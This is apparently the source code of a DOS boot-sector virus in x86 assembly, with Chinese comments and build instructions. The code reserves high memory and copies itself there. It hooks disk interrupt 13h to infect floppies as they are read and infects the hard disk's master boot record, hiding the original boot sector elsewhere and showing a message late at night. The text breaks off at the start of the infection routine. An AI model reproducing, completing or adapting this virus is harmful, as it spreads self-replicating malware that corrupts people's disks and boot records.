;制作方法:tasm boot.asm; tlink boot.asm;
;生成boot.exe,执行即可
.286
.model small
.code
;程序入口参数
;ax=内存高端地址 bx=7c00h 引导程序起始地址
;cx=0001h 表示从ch(00)磁道cl(01)扇区读出了本程序
;dx=00/80h 表示从dx(00:A驱)(80:C驱)读出了本程序
;ds=es=ss=cs=0 初始段值
OFF equ <Offset>
VirusSize=OFF @@End-OFF @@Start
@@Start:
jmp short @@Begin
VirusFlag db 'V' ;病毒标志
@@BootData: ;这里有两个重要数据结构,不能是代码
org 50h ;病毒从Offset50h开始,病毒未用以上数据
@@Begin: ;但其它程序可能使用,故须保留
mov bx,7c00h
mov sp,bx ;设sp,使ss:sp=0:7c00h
sti
mov ax,ds:[413h] ;得到内存大小(0:413h单元存有以K计数的内存大小)
dec ax
dec ax
mov ds:[413h],ax ;将原内存大小减2K
mov cl,06
shl ax,cl ;计算高端内存地址
mov es,ax
xor di,di
mov si,sp
mov cx,VirusSize
cld
rep movsb ;把病毒搬移到高端地址里
push ax
mov di,OFF @@HighAddr
push di
retf ;跳到高端继续执行
@@HighAddr:
cli ;修改中断向量前,最好关中断
xchg ds:[13h*4+2],ax
mov cs:[OldInt13Seg],ax
mov ax,OFF @@NewInt13
xchg ds:[13h*4],ax
mov cs:[OldInt13Off],ax ;修改中断13h
push ds
pop es ;把es复位为0
cmp dl,80h ;是否从硬盘引导?
jz short @@ReadOldHardBoot
push dx ; 从软盘引导,则传染硬盘
mov dl,80h
call @@OptDisk ;调用传染模块
pop dx
@@ReadOldFlopyBoot: ;读出原软盘引导程序
mov ax,0201h
mov cx,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中
mov dh,00h
call @@CallInt13
jc short @@ReadOldFlopyBoot ;失败,继续读直到成功
@@ExecOldBoot:
cmp es:[bx.Flags],0aa55h
jnz @@ExecOldBoot
mov ah,02h
int 1ah ;取系统时间
cmp cx,22*100h+30 ;是否大于22:30分
jb @@ExitDisp ;未到,则不显示
lea si,VirusMsg
@@DispMsg:
mov al,cs:[si]
inc si
mov ah,0eh
int 10h ;显示al中的字符
or al,al
jnz @@DispMsg
xor ax,ax
int 16h
@@ExitDisp:
mov cx,0001h ;恢复cx初值
push es
push bx
retf ;去执行原引导程序
@@ReadOldHardBoot:
mov ax,0201h
mov cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中
mov dh,00h
call @@CallInt13 ;读出
jc short @@ReadOldHardBoot ;失败,继续读直到成功
jmp short @@ExecOldBoot ;去执行原引导程序
@@NewInt13: ;新Int 13h(传染块)
cmp dx,0000h ;是软盘吗?
jnz short @@JmpOldInt13
cmp ah,02h
jnz short @@JmpOldInt13
cmp cx,0001h
jnz short @@JmpOldInt13
call @@OptDisk ;若发现读软盘扇区,则感染软盘
@@JmpOldInt13:
cli
JmpFar db 0eah ;远跳转指令
OldInt13Off dw ?
OldInt13Seg dw ?
@@CallInt13:
pushf ;模拟Int 13h指令
push cs
call @@JmpOldInt13
ret
@@OptDisk: ;传染dl表示的磁盘(dl-0 A: 80:C)
pusha
push ds
push es ;保存段址与通用寄存器